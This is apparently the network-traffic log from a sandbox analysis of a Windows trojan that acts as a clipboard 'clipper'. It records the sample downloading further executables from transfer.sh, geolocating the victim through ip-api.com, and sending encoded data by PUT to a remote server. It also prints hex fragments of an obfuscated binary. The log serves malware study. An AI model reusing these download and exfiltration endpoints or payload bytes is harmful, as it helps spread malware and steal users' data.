4d 73 4e 6a 4d 73 4e 32 59 73 4e 7a 59 73 59 6a 59 73 4e 6d 45 73 5a 47 55 73 59 54 4d 73 5a 44 49 73 59 6d 51 73 5a 44 67 73 5a 47 51 73 4f 47 51 73 4f 54 6b 73 4f 44 55 73 4e 7a 59 73 4f 54 67 73 59 7a 41 73 59 54 45 73 4f 54 67 73 4f 57 4d 73 4e 7a 51 73 4f 54 41 73 Data Ascii: {"clipper":"YzcsNWIsZDgsZGIsYzQsY2YsYjcsZWIsZDksYjYsYjksYjksOTgsZTgsYjEsYTgsYTUsNmQsN2IsNzUsNjgsOWUsOGUsODgsYjcsZGQsZWIsZGEsZGYsZGEsYzIsNTUsODYsNTksYTcsOGUsNzQsOTAsYjQsZTAsZTksYzAsYjksNzUsNmQsOWEsNmYsNzAsNjQsNmQsNmQsNzUsNTksZDQsZTIsYzksNzgsYTIsOTcsOGQsY2YsYzgsODUsYTQsYzYsOWQsZWYsOTYsY2QsZTQsYjUsZWUsZTQsODcsYmEsOGIsYWQsZTAsYmUsYjksNjMsYmUsYmIsYzcsYTMsZGEsZTMsZDAsYmEsY2IsZWUsZGIsZTMsYzksODQsOTksODUsYTAsZWEsZDAsOGEsZDEsNjYsYTQsOWEsNzQsYjYsYjYsOWIsOWMsODcsNjMsNTUsYmMsYjEsYjYsYTUsZDcsYTIsZGUsYzksZGMsYTcsYTMsZDEsZDIsODQsYWMsYjgsYjIsZDksZDMsODksZDEsYmEsZGYsZjIsYzMsYmEsYzAsOTcsZGUsYzIsN2MsNjMsN2YsNzYsYjYsNmEsZGUsYTMsZDIsYmQsZDgsZGQsOGQsOTksODUsNzYsOTgsYzAsYTEsOTgsOWMsNzQsOTAs
May 14, 2023 04:35:45.321068048 CEST	1734	IN	Data Raw: 4e 7a 51 73 5a 6a 41 73 59 6d 49 73 4f 44 67 73 4f 47 45 73 4f 54 59 73 4f 54 51 73 59 57 59 73 4f 47 55 73 59 54 51 73 4e 6d 4d 73 4f 47 55 73 4e 7a 4d 73 4f 47 45 73 4e 7a 6b 73 5a 44 51 73 59 54 51 73 4f 57 51 73 59 6a 6b 73 59 7a 6b 73 59 57 Data Ascii: NzQsZjAsYmIsODgsOGEsOTYsOTQsYWYsOGUsYTQsNmMsOGUsNzMsOGEsNzksZDQsYTQsOWQsYjksYzksYWEsOWQsOWUsOWMsODgsNjcsOTIsNmQsYWQsYzcsOGQsYTYsODksYWMsYmIsODgsOGEsOGMsOTYsYjMsOGYsODQsNTUsNzcsNjEsNzcsYWYsZGYsZTAsODgsOTAsODgsOTksOTgsOWUsODcsODAsNTMsNmUsYTUsZWE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49708	144.76.136.153	80	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2023 04:35:46.705729008 CEST	1735	OUT	GET /get/1h9hjM/LoWin64.exe HTTP/1.1 Content-Type: application/json User-Agent: Monkey Host: transfer.sh
May 14, 2023 04:35:46.733174086 CEST	1735	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Sun, 14 May 2023 02:35:46 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://transfer.sh/get/1h9hjM/LoWin64.exe Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49711	208.95.112.1	80	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2023 04:36:02.964309931 CEST	3367	OUT	GET /json/?fields=query,status,countryCode,city,timezone HTTP/1.1 Content-Type: application/json User-Agent: Cat Host: ip-api.com
May 14, 2023 04:36:03.001610994 CEST	3368	IN	HTTP/1.1 200 OK Date: Sun, 14 May 2023 02:36:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 110 Access-Control-Allow-Origin: * X-Ttl: 20 X-Rl: 43 Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 43 48 22 2c 22 63 69 74 79 22 3a 22 48 75 6e 65 6e 62 65 72 67 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 22 2c 22 71 75 65 72 79 22 3a 22 31 30 32 2e 31 32 39 2e 31 34 33 2e 34 37 22 7d Data Ascii: {"status":"success","countryCode":"CH","city":"Hunenberg","timezone":"Europe/Zurich","query":"102.129.143.47"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49713	185.159.129.168	80	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
May 14, 2023 04:36:24.396056890 CEST	3369	OUT	PUT /clpr/OWUsODMsODQsOWIsOWYsODIsOGEsOTIsNjgsN2Us HTTP/1.1 Content-Type: application/json User-Agent: Cat Host: 185.159.129.168 Content-Length: 599 Cache-Control: no-cache Data Raw: 7b 22 64 61 74 61 22 3a 22 59 57 59 73 59 54 55 73 5a 47 59 73 5a 44 49 73 59 7a 51 73 5a 44 4d 73 59 6a 59 73 59 7a 45 73 5a 47 55 73 4f 47 59 73 4f 47 51 73 4f 44 63 73 4e 54 6b 73 5a 54 45 73 59 7a 49 73 59 57 4d 73 4f 54 63 73 4f 44 67 73 4f 44 55 73 4f 44 55 73 4e 6d 51 73 59 6a 63 73 59 6a 49 73 4f 57 4d 73 4f 44 6b 73 4f 57 51 73 59 57 51 73 59 54 4d 73 59 6a 4d 73 4f 57 49 73 4f 44 67 73 4e 7a 67 73 4f 44 55 73 4e 32 45 73 59 57 59 73 4f 54 63 73 4f 44 6b 73 59 6a 45 73 4e 7a 67 73 59 6a 41 73 59 6a 4d 73 4f 47 49 73 4f 57 45 73 4f 44 67 73 4e 7a 6b 73 59 57 59 73 4f 44 51 73 4f 44 55 73 4e 6d 4d 73 4f 47 4d 73 4e 6a 63 73 59 6a 67 73 59 54 59 73 5a 47 59 73 5a 47 55 73 5a 47 49 73 59 32 45 73 59 32 51 73 5a 54 6b 73 59 54 67 73 59 54 41 73 4f 57 4d 73 4f 47 45 73 4e 6a 63 73 4f 44 51 73 4e 6d 4d 73 4f 57 4d 73 5a 44 63 73 59 7a 63 73 5a 44 4d 73 59 6a 59 73 59 6a 55 73 5a 54 49 73 59 6a 4d 73 59 7a 59 73 59 6a 63 73 59 57 51 73 59 54 41 73 59 6d 55 73 59 6a 67 73 4f 54 67 73 59 6d 51 73 59 6d 45 73 4f 54 49 73 4e 6a 67 73 59 54 49 73 59 54 41 73 4f 54 51 73 4f 44 63 73 4f 57 45 73 59 6a 41 73 4f 54 6b 73 4f 57 55 73 4f 54 6b 73 4f 44 63 73 4e 6a 45 73 4f 44 41 73 4e 7a 41 73 4f 57 4d 73 59 7a 55 73 59 7a 4d 73 5a 54 4d 73 59 6a 49 73 5a 57 4d 73 5a 57 4d 73 59 32 49 73 4f 54 45 73 4f 54 59 73 4e 32 49 73 59 54 41 73 59 6a 41 73 59 57 4d 73 59 54 63 73 59 7a 51 73 4e 32 55 73 4f 57 51 73 59 57 4d 73 5a 54 41 73 5a 44 4d 73 5a 44 51 73 59 6a 67 73 59 32 51 73 5a 54 6b 73 5a 44 49 73 4f 54 4d 73 5a 44 6b 73 59 6d 51 73 59 54 41 73 59 6a 45 73 59 6a 4d 73 5a 54 55 73 5a 44 41 73 59 6a 6b 73 59 57 49 73 4f 44 6b 73 5a 57 51 73 5a 57 4d 73 59 7a 45 73 59 7a 51 73 59 6a 67 73 4e 6a 49 73 5a 44 51 73 59 7a 49 73 59 6a 55 73 4f 57 4d 73 59 57 55 73 59 54 6b 3d 22 7d Data Ascii: {"data":"YWYsYTUsZGYsZDIsYzQsZDMsYjYsYzEsZGUsOGYsOGQsODcsNTksZTEsYzIsYWMsOTcsODgsODUsODUsNmQsYjcsYjIsOWMsODksOWQsYWQsYTMsYjMsOWIsODgsNzgsODUsN2EsYWYsOTcsODksYjEsNzgsYjAsYjMsOGIsOWEsODgsNzksYWYsODQsODUsNmMsOGMsNjcsYjgsYTYsZGYsZGUsZGIsY2EsY2QsZTksYTgsYTAsOWMsOGEsNjcsODQsNmMsOWMsZDcsYzcsZDMsYjYsYjUsZTIsYjMsYzYsYjcsYWQsYTAsYmUsYjgsOTgsYmQsYmEsOTIsNjgsYTIsYTAsOTQsODcsOWEsYjAsOTksOWUsOTksODcsNjEsODAsNzAsOWMsYzUsYzMsZTMsYjIsZWMsZWMsY2IsOTEsOTYsN2IsYTAsYjAsYWMsYTcsYzQsN2UsOWQsYWMsZTAsZDMsZDQsYjgsY2QsZTksZDIsOTMsZDksYmQsYTAsYjEsYjMsZTUsZDAsYjksYWIsODksZWQsZWMsYzEsYzQsYjgsNjIsZDQsYzIsYjUsOWMsYWUsYTk="}
May 14, 2023 04:36:24.458365917 CEST	3370	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 May 2023 02:36:24 GMT Content-Type: text/html Content-Length: 206 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49703	144.76.136.153	443	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-14 02:34:42 UTC	0	OUT	GET /get/1PRjTr/clip.exe HTTP/1.1 User-Agent: Monkey Host: transfer.sh Connection: Keep-Alive
2023-05-14 02:34:42 UTC	0	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 14 May 2023 02:34:42 GMT Content-Type: application/x-ms-dos-executable Content-Length: 1619428 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="clip.exe" Retry-After: Sun, 14 May 2023 04:34:43 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,102.129.143.47,102.129.143.47 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1684031683 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
2023-05-14 02:34:42 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b2 dd c4 44 f6 bc aa 17 f6 bc aa 17 f6 bc aa 17 e2 d7 ae 16 eb bc aa 17 e2 d7 a9 16 e3 bc aa 17 e2 d7 af 16 38 bc aa 17 a4 c9 af 16 d0 bc aa 17 a4 c9 ae 16 e4 bc aa 17 a4 c9 a9 16 fc bc aa 17 e2 d7 ab 16 f3 bc aa 17 f6 bc ab 17 88 bc aa 17 f6 bc aa 17 f7 bc aa 17 92 c6 ae 16 b4 bc aa 17 32 c9 ae 16 f7 bc aa 17 32 c9 aa 16 f7 bc aa 17 32 c9 55 17 f7 bc aa 17 f6 bc 3d 17 f7 bc aa Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$D8222U=
2023-05-14 02:34:42 UTC	16	IN	Data Raw: f9 72 06 c2 a5 7d 4c fe 4a e8 04 00 00 00 95 99 5b a9 48 ff c4 e9 06 00 00 00 c5 16 41 81 6b e3 48 ff c4 f9 eb 06 92 22 2b 22 6d bd 72 04 d7 1a ee f9 48 ff c4 f8 e9 06 00 00 00 d2 41 61 60 36 f3 73 06 4e 9e c7 1c 1d bf 48 ff c4 f9 eb 07 a9 13 2f 4b 4d fd 32 72 03 25 9d 7c 48 ff c4 f9 e9 05 00 00 00 e3 89 87 d7 3b 72 07 35 a4 8a a1 4c e2 a4 48 ff c4 f8 eb 02 e5 70 73 06 3b cb 81 da 11 17 48 ff c4 eb 04 44 12 59 4c 48 ff c4 f8 e9 05 00 00 00 21 64 cc 5b d7 73 07 3e 73 b4 3d 25 3d de e9 03 00 00 00 c7 e8 72 eb 04 c5 5c 83 f2 9e 48 8b 04 24 48 8d 64 24 08 e9 07 00 00 00 8f 45 98 33 a7 c5 13 8b 44 24 50 c7 44 24 48 04 00 00 00 c7 44 24 40 00 00 00 00 c7 44 24 38 02 00 00 00 48 8d 64 24 f8 48 89 04 24 eb 07 ef ba ad 6e b7 1b ff 9f e9 05 00 00 00 63 5c e5 2a eb Data Ascii: r}LJ[HAkH"+"mrHAa`6sNH/KM2r%\|H;r5LHps;HDYLH!d[s>s=%=r\H$Hd$E3D$PD$HD$@D$8Hd$H$nc\*
2023-05-14 02:34:42 UTC	32	IN	Data Raw: e9 05 00 00 00 65 45 3a 6a 60 9e 48 8b 04 24 e9 05 00 00 00 9e 41 e0 14 77 48 8d 64 24 08 48 89 44 24 48 e9 02 00 00 00 43 29 48 8d 64 24 f8 e9 04 00 00 00 4e 32 b1 49 48 89 04 24 9f e9 05 00 00 00 fb 77 71 9e a0 f9 72 04 3f c0 78 a6 e8 03 00 00 00 7e 41 5e 48 83 c4 08 eb 05 75 44 7d fd a2 9e 58 eb 02 a4 20 48 83 7c 24 48 00 e9 05 00 00 00 f2 70 39 b5 fe 9c eb 03 c1 85 9c f8 e9 05 00 00 00 16 cc 48 c4 59 73 02 fb ba e8 02 00 00 00 9b 3e 48 83 c4 08 9d eb 05 e4 db 94 da a3 eb 05 32 b8 f0 31 1a 0f 85 04 01 00 00 9c e9 03 00 00 00 d3 81 a1 f8 eb 02 84 7a 73 07 be d5 38 12 c5 f9 6d e8 02 00 00 00 f5 5d 48 ff c4 38 d2 e9 05 00 00 00 6b a9 92 c2 25 74 03 42 bb fd 48 ff c4 eb 03 20 1b e1 48 ff c4 38 f6 eb 04 65 f7 dd b8 74 05 d1 26 60 15 cb 48 ff c4 38 ff eb 05 Data Ascii: eE:j`H$AwHd$HD$HC)Hd$N2IH$wqr?x~A^HuD}X H\|$Hp9HYs>H21zs8m]H8k%tBH H8et&`H8
2023-05-14 02:34:42 UTC	48	IN	Data Raw: 02 00 00 00 31 ec e9 07 00 00 00 98 2c 90 ea 82 86 5e b8 46 00 00 00 eb 05 2e 2e 32 cd ea 48 8d 64 24 f8 48 89 04 24 9f e9 07 00 00 00 ce 46 c4 cc d6 d0 39 f9 e9 07 00 00 00 ce b4 3b c4 ca db 89 72 06 19 da 4a 25 20 ac e8 03 00 00 00 47 d3 1b 48 83 c4 08 e9 06 00 00 00 ca f2 b0 77 b2 2b eb 05 31 92 be 69 8e 9e 48 8b 04 24 e9 06 00 00 00 8c 78 b4 1e c7 d0 48 8d 64 24 08 e9 03 00 00 00 70 28 67 eb 07 a2 20 d7 99 4d 79 68 66 89 44 24 5a b8 38 00 00 00 66 89 44 24 5c b8 43 00 00 00 66 89 44 24 5e b8 38 00 00 00 9c 38 c9 eb 05 77 ec 92 82 51 74 02 c6 42 e8 07 00 00 00 f7 c4 38 c6 22 88 3d 48 ff c4 48 ff c4 f8 73 07 4b 22 c3 76 e6 c0 12 48 ff c4 eb 02 2f d7 48 ff c4 38 c0 eb 03 78 2b b3 74 02 18 d4 48 ff c4 e9 06 00 00 00 70 9e f0 c9 78 fa 48 ff c4 38 db eb 03 Data Ascii: 1,^F..2Hd$H$F9;rJ% GHw+1iH$xHd$p(g MyhfD$Z8fD$\CfD$^88wQtB8"=HHsK"vH/H8x+tHpxH8
2023-05-14 02:34:42 UTC	64	IN	Data Raw: 24 08 e9 03 00 00 00 65 e8 66 eb 06 4f d9 54 46 63 6a 48 8b 44 24 30 50 e9 02 00 00 00 b4 72 9f e8 06 00 00 00 bd 2b fb b8 55 bf 48 83 04 24 1f f8 e9 04 00 00 00 1f ed 2a 1f 73 03 ee d1 8b c3 2a 85 8e 89 e9 03 00 00 00 51 9a 91 eb 04 69 53 47 93 9e 48 8b 04 24 eb 05 9e d7 c2 23 84 48 8d 64 24 08 eb 05 f0 62 24 70 fc e9 05 00 00 00 e8 98 6d b8 2f e9 54 00 00 00 e9 07 00 00 00 60 6b 9f fa 86 b6 6a 50 e9 07 00 00 00 f3 20 2b 1d 3e 97 80 9f eb 07 9d 77 29 36 fc a4 b2 eb 03 c6 2f 1e e8 06 00 00 00 2c 4d 7c ab cc 6d 48 83 c4 08 eb 02 68 63 e9 02 00 00 00 65 b4 9e 58 e9 06 00 00 00 27 86 1a 8b 16 50 e9 00 00 00 00 48 83 c4 28 c3 48 89 54 24 10 48 89 4c 24 08 48 83 ec 38 e9 63 00 00 00 48 8d 64 24 f8 eb 03 82 ce 85 48 89 04 24 eb 04 9e 8f f2 50 9f eb 07 8d 62 5e Data Ascii: $efOTFcjHD$0Pr+UH$sQiSGH$#Hd$b$pm/T`kjP +>w)6/,M\|mHhceX'PH(HT$HL$H8cHd$H$Pb^
2023-05-14 02:34:42 UTC	80	IN	Data Raw: 48 89 04 24 eb 06 bb 83 93 59 c9 f3 9f e9 02 00 00 00 65 d3 f8 e9 03 00 00 00 94 c5 6f 73 06 ea b3 19 3c 1d 8c e8 02 00 00 00 26 96 48 ff c4 48 ff c4 f9 eb 04 e3 d6 94 36 72 03 a7 93 cc 48 ff c4 f8 e9 07 00 00 00 4c 7b b9 37 9d c4 a8 73 03 26 b6 c3 48 ff c4 f9 eb 05 54 d6 e4 5a 11 72 07 ca c2 eb 25 c7 e4 bd 48 ff c4 eb 02 5a ac 48 ff c4 f9 72 03 c6 7a 21 48 ff c4 f8 73 04 4f ae 2d 60 48 ff c4 f9 72 05 46 3e 8f c9 f7 eb 03 e2 4b 66 9e 58 48 89 4c 24 78 eb 05 6a ea ef be 4f 9c e9 07 00 00 00 a9 22 72 45 53 af ad e8 05 00 00 00 a7 a3 98 28 71 48 8d 64 24 08 eb 06 6d 59 7e 98 83 af 9d e9 05 00 00 00 b6 a0 71 e7 dc 48 63 54 24 34 50 e9 02 00 00 00 7f 77 9f e9 02 00 00 00 df 19 e8 02 00 00 00 18 fe 48 ff c4 e9 03 00 00 00 dc 8f 7f 48 ff c4 f8 e9 04 00 00 00 cd Data Ascii: H$Yeos<&HH6rHL{7s&HTZr%HZHrz!HsO-`HrF>KfXHL$xjO"rES(qHd$mY~qHcT$4PwHH
2023-05-14 02:34:42 UTC	96	IN	Data Raw: e8 02 00 00 00 1f 18 48 ff c4 f9 72 03 c6 2c f3 48 ff c4 38 d2 eb 03 46 4e ad 74 07 40 7c 50 84 bb 39 9e 48 ff c4 38 ed e9 05 00 00 00 a2 ea e1 5e 43 74 06 ad 22 6b c5 71 b0 48 ff c4 f8 73 02 a3 ae 48 ff c4 f9 e9 04 00 00 00 1d bc 8e d8 72 02 25 94 48 ff c4 f9 e9 03 00 00 00 a6 ec 81 72 06 93 7a 6c 76 6c be 48 ff c4 38 ed 74 02 cc 76 48 ff c4 eb 03 db 20 57 eb 03 8e 30 12 e9 03 00 00 00 e2 4c 70 9e 48 8b 04 24 48 8d 64 24 08 e9 07 00 00 00 b5 86 40 c1 48 9f 80 c6 44 24 64 61 eb 04 c8 4e 5c 2f 9c e9 03 00 00 00 72 15 9d f8 e9 05 00 00 00 e8 6a 68 24 9e 73 07 a3 ae 8d 70 c4 3f d1 e8 05 00 00 00 d3 9a b5 90 a8 48 83 c4 08 eb 06 f2 4b 8e 88 81 7a 9d e9 04 00 00 00 70 a7 a0 b9 eb 04 c7 53 29 62 c6 44 24 65 69 eb 07 62 29 a2 33 1a 74 c8 50 e9 02 00 00 00 df 86 Data Ascii: Hr,H8FNt@\|P9H8^Ct"kqHsHr%HrzlvlH8tvH W0LpH$Hd$@HD$daN\/rjh$sp?HKzpS)bD$eib)3tP
2023-05-14 02:34:42 UTC	112	IN	Data Raw: b7 48 83 c4 08 eb 07 7f a5 a2 f7 f8 23 95 9e 48 8b 04 24 e9 05 00 00 00 f7 c9 e0 87 7a 48 8d 64 24 08 eb 07 27 fe 52 61 4c bf 8f e9 04 00 00 00 5b 56 bb 48 c6 44 24 10 2e c6 44 24 11 39 e9 06 00 00 00 ac bf d4 e3 96 15 48 8d 64 24 f8 48 89 04 24 eb 06 a8 56 af c0 26 c0 9f f9 eb 02 ed 66 72 03 ce 41 78 e8 03 00 00 00 70 2d bb 48 83 c4 08 eb 07 75 75 c4 d4 2c a3 d4 9e 58 eb 06 8f 85 2f 1c 8a 65 e9 04 00 00 00 5a d9 17 ce c6 44 24 12 2e eb 06 f6 61 7e f2 19 20 48 8d 64 24 f8 48 89 04 24 e9 06 00 00 00 b4 1a 94 9e 37 eb 9f 38 c0 e9 06 00 00 00 95 11 37 83 7b 15 74 06 a7 43 5e fa 70 e5 e8 05 00 00 00 6f 9d 48 33 ae 48 83 c4 08 e9 05 00 00 00 6a 61 9a 59 e6 9e 58 e9 04 00 00 00 30 8b 83 b6 c6 44 24 13 30 e9 06 00 00 00 c5 cb 74 1c 75 23 9c f8 eb 04 e0 6e 45 95 Data Ascii: H#H$zHd$'RaL[VHD$.D$9Hd$H$V&frAxp-Huu,X/eZD$.a~ Hd$H$787{tC^poH3HjaYX0D$0tu#nE
2023-05-14 02:34:42 UTC	128	IN	Data Raw: 48 8b 04 24 48 ff c0 48 89 04 24 48 8b 44 24 30 48 39 04 24 0f 83 6e 00 00 00 48 8b 44 24 28 0f b6 00 83 f8 3f 0f 85 1f 00 00 00 48 8b 44 24 28 48 ff c0 48 89 44 24 28 48 8b 44 24 20 48 ff c0 48 89 44 24 20 e9 b6 ff ff ff 48 8b 44 24 28 0f b6 00 48 8b 4c 24 20 0f b6 09 3b c1 0f 84 07 00 00 00 32 c0 e9 21 00 00 00 48 8b 44 24 28 48 ff c0 48 89 44 24 28 48 8b 44 24 20 48 ff c0 48 89 44 24 20 e9 78 ff ff ff b0 01 48 83 c4 18 c3 4c 89 4c 24 20 4c 89 44 24 18 48 89 54 24 10 48 89 4c 24 08 48 83 ec 38 48 8b 44 24 40 48 89 44 24 20 48 c7 44 24 28 00 00 00 00 e9 0d 00 00 00 48 8b 44 24 28 48 ff c0 48 89 44 24 28 48 8b 44 24 48 48 39 44 24 28 0f 83 3b 00 00 00 4c 8b 44 24 58 48 8b 54 24 50 48 8b 4c 24 20 e8 e3 fe ff ff 0f b6 c0 85 c0 0f 84 0a 00 00 00 48 8b 44 24 Data Ascii: H$HH$HD$0H9$nHD$(?HD$(HHD$(HD$ HHD$ HD$(HL$ ;2!HD$(HHD$(HD$ HHD$ xHLL$ LD$HT$HL$H8HD$@HD$ HD$(HD$(HHD$(HD$HH9D$(;LD$XHT$PHL$ HD$
2023-05-14 02:34:42 UTC	144	IN	Data Raw: 91 d3 2b e9 e1 9f f9 eb 06 ad c9 72 e2 20 f6 72 05 85 64 ac 64 ac e8 05 00 00 00 cd 1c c1 90 3c 48 83 04 24 13 eb 02 54 dc c3 17 97 3f 24 e9 06 00 00 00 f1 6a 5c 23 f6 7b 9e 48 8b 04 24 48 8d 64 24 08 eb 05 c0 fe 27 54 9c e9 04 00 00 00 e8 73 fc 70 48 8d 44 24 20 eb 07 38 e8 dd 94 d8 fa be 48 8d 64 24 f8 eb 06 6b bd a5 26 f5 7d 48 89 04 24 eb 03 85 66 56 9f f9 e9 05 00 00 00 1a c0 94 db 7b 72 02 f4 77 e8 04 00 00 00 c3 91 96 7c 48 83 04 24 0e c3 d3 d1 35 e4 9e 58 48 8b f8 33 c0 e9 04 00 00 00 20 89 12 c1 48 8d 64 24 f8 eb 05 4f 77 20 1c 6c 48 89 04 24 e9 06 00 00 00 e2 1a 3d 9b 4c a0 9f eb 04 3b 99 5e a9 eb 03 da 2f bb e8 02 00 00 00 12 25 48 83 c4 08 e9 06 00 00 00 82 ad b9 b6 4d d9 9e 48 8b 04 24 e9 05 00 00 00 95 22 4c 3e ae 48 8d 64 24 08 eb 07 53 71 Data Ascii: +r rdd<H$T?$j\#{H$Hd$'TspHD$ 8Hd$k&}H$fV{rw\|H$5XH3 Hd$Ow lH$=L;^/%HMH$"L>Hd$Sq
2023-05-14 02:34:42 UTC	160	IN	Data Raw: 76 39 9f eb 02 4b f5 f9 eb 03 37 f4 d5 72 04 76 b1 1b 94 e8 06 00 00 00 98 5f 30 b1 99 8e 48 ff c4 38 c0 e9 06 00 00 00 e4 68 95 9c 6a 62 74 05 24 3c e6 ba ed 48 ff c4 f9 eb 07 73 a6 ca 17 4d 80 45 72 07 95 a2 13 b9 57 85 a4 48 ff c4 38 e4 74 07 cd 5c c6 ec 7b 62 2e 48 ff c4 f8 73 07 f3 48 71 f4 d2 d3 c8 48 ff c4 f9 eb 06 4c e2 6b a2 15 a2 72 06 d5 89 12 4b d5 a6 48 ff c4 38 c9 eb 05 81 9c 44 f9 d0 74 07 7b 1b f8 31 69 60 54 48 ff c4 e9 02 00 00 00 48 25 48 ff c4 f9 72 05 93 b7 93 e1 f9 e9 02 00 00 00 57 35 9e 58 e9 04 00 00 00 dc 2e d3 59 48 8b 4c 24 60 e9 06 00 00 00 9a f2 f9 9e 6b 52 48 8d 64 24 f8 eb 07 3f f2 a4 e6 2f d5 dd 48 89 04 24 eb 02 e0 2f 9f eb 02 b9 cd f8 73 02 7b 37 e8 02 00 00 00 80 b8 48 8d 64 24 08 eb 02 23 3c 9e 58 eb 07 f5 5b df 19 9c Data Ascii: v9K7rv_0H8hjbt$<HsMErWH8t\{b.HsHqHLkrKH8Dt{1i`THH%HrW5X.YHL$`kRHd$?/H$/s{7Hd$#<X[
2023-05-14 02:34:42 UTC	176	IN	Data Raw: fe 99 74 da f8 e9 02 00 00 00 c2 df 73 03 79 72 37 e8 04 00 00 00 a5 c0 37 83 48 8d 64 24 08 e9 03 00 00 00 b4 a8 e7 9e 48 8b 04 24 eb 02 25 37 48 8d 64 24 08 eb 06 81 fd 4b c8 f8 bd eb 04 dc b8 1e 55 48 89 4c 24 30 48 8d 64 24 f8 48 89 04 24 9f e9 04 00 00 00 f3 c5 64 cf f9 72 05 5a ae 87 ba 51 e8 03 00 00 00 3b f7 be 48 83 c4 08 e9 06 00 00 00 c6 8a 4d dc e1 9e e9 07 00 00 00 70 5b ca 88 b1 a5 4e 9e 58 e9 05 00 00 00 64 f2 ff da d4 48 8b 8c 24 a8 00 00 00 48 89 4c 24 28 eb 07 d4 ca da 42 72 2e 24 48 8d 64 24 f8 48 89 04 24 e9 03 00 00 00 9f b0 fe 9f eb 03 c5 8a 35 38 d2 74 05 ae 53 5c 8f aa e8 06 00 00 00 af f1 65 e1 64 5a 48 8d 64 24 08 e9 04 00 00 00 17 77 11 ab 9e 58 e9 02 00 00 00 e0 75 e9 02 00 00 00 7c ba 8b 8c 24 a0 00 00 00 89 4c 24 20 9c e9 04 Data Ascii: tsyr77Hd$H$%7Hd$KUHL$0Hd$H$drZQ;HMp[NXdH$HL$(Br.$Hd$H$58tS\edZHd$wXu\|$L$
